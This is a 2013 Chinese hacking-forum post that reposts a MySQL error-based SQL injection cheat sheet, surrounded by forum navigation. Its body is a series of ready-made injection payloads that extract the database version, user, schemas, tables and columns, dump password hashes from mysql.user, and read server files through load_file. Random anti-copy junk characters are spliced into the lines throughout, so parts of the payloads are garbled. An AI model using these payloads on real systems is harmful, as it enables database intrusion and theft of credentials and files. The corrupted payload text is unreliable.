找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1975|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 / `# X. u, E: d/ F( g# _

3 A! i" m9 V) f2 D; x* l4 p- C
- d- e5 Q. X  ^Mysql暴错注入参考(pdf),每天一贴。。。
6 `5 O% i/ i" m- V" f! a4 N+ ~) X* x' ^6 P! y  I
MySql Error Based Injection Reference5 i) U+ U3 W+ I6 Z
[Mysql暴错注入参考]
  \; h" d3 Q* g2 Z1 AAuthornig0s1992( g/ S' a# ]* d: b8 V4 f* v$ o
Blog:http://pnig0s1992.blog.51cto.com/
8 \  Y) _" K! gTeAm:http://www.FreeBuf.com/
2 ^' d! V' r; O) O! I" bMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
  c2 ?) O- J7 n1 z. P& z小部分版本使用name_const()时会报错.可以用给出的Method.2测试& y3 q- W! G6 o
查询版本:
5 m) W5 b6 ]3 a; QMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
( k* s6 B( ]" C( c+ o, E" ajoin+(select+name_const(@@version,0))b)c)6 l& P+ o5 g) G- s
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro: o' ]) e4 c1 e! D! q: C( h- }
up by a)b)9 |8 x3 d) q& X! N1 {9 o1 x1 S
查询当前用户:8 `! x/ y3 I- S
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)( D) v! u0 j  W
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r, |7 F6 k; x$ ?) Z
and(0)*2))x+from+information_schema.tables+group+by+x)a)8 H6 W9 C& M6 {. A1 J
查询当前数据库:0 b* q; D, V% }1 Z. @
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
% h% q6 _* B. ^3 j4 G5 g& f: {Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
0 E$ }" x$ a% y+ ?7 vor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 b0 k# f7 D( f) O* f" K依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+- Y8 f/ P$ m' s" y( c9 M9 W9 L6 U7 d
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
0 M2 \9 @& R: W2 B/ `8 B顺序替换
% q" E2 j' G& H5 m爆指定库数目:
4 l# r' t2 X5 Q5 L. D: O% ^/ S% Nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
# X! l/ u: _. c/ vable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
0 k- x0 U+ {' r( q+by+x)a)+and+1=1 0x6D7973716C=mysql
5 G  s' O; D) X9 W. f8 U# e! n依次爆表:+ L: U1 k' L' m3 Q" s/ A6 a
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
+ H% l9 h0 g  y" f: Rable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
( K6 G6 K3 a7 R8 T  gbles+group+by+x)a)+and+1=1
. {4 w2 ~( s! J8 n2 w. x& h0x6D7973716C=Mysql 将n顺序替换
# o+ y! p6 q1 `. F爆表内字段数目:5 |" h6 h9 ?( ~! F0 r
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE8 a% d2 _+ v" s" L# y  N8 ^
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran0 t& T6 p3 C( V
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
3 y! e% T  x1 [; ~5 Q依次爆字段:
" x1 l& f8 T: w) V* Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where- W4 _2 d, ^/ p3 _; }/ [
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
1 b. a6 c& G0 d  c7 s' \loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换; i$ u9 D3 T1 q- i5 z, D
依次暴内容:
4 m6 N  m" I# p% H. gand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche0 V4 P5 |! h  U( C
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( d8 d6 Y" [9 V% f, v! P将n顺序替换3 \" Y3 t" X, Z( a3 ^
爆文件内容:
. V* @9 H6 u9 w; y5 T" j& Eand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
0 J  z1 R. n$ ]- a3 Ofrom+information_schema.tables+group+by+a)b)
* f' G+ B" W$ T, E/ G; Q$ J& O0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
3 k  j. {$ F' P" Z0 E8 lThx for reading.
- u. ]5 j+ j+ v% S& H1 u
8 V6 Z' c7 l4 T! S' p; H不要下载也可以, 6 |) g+ `& p% P

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表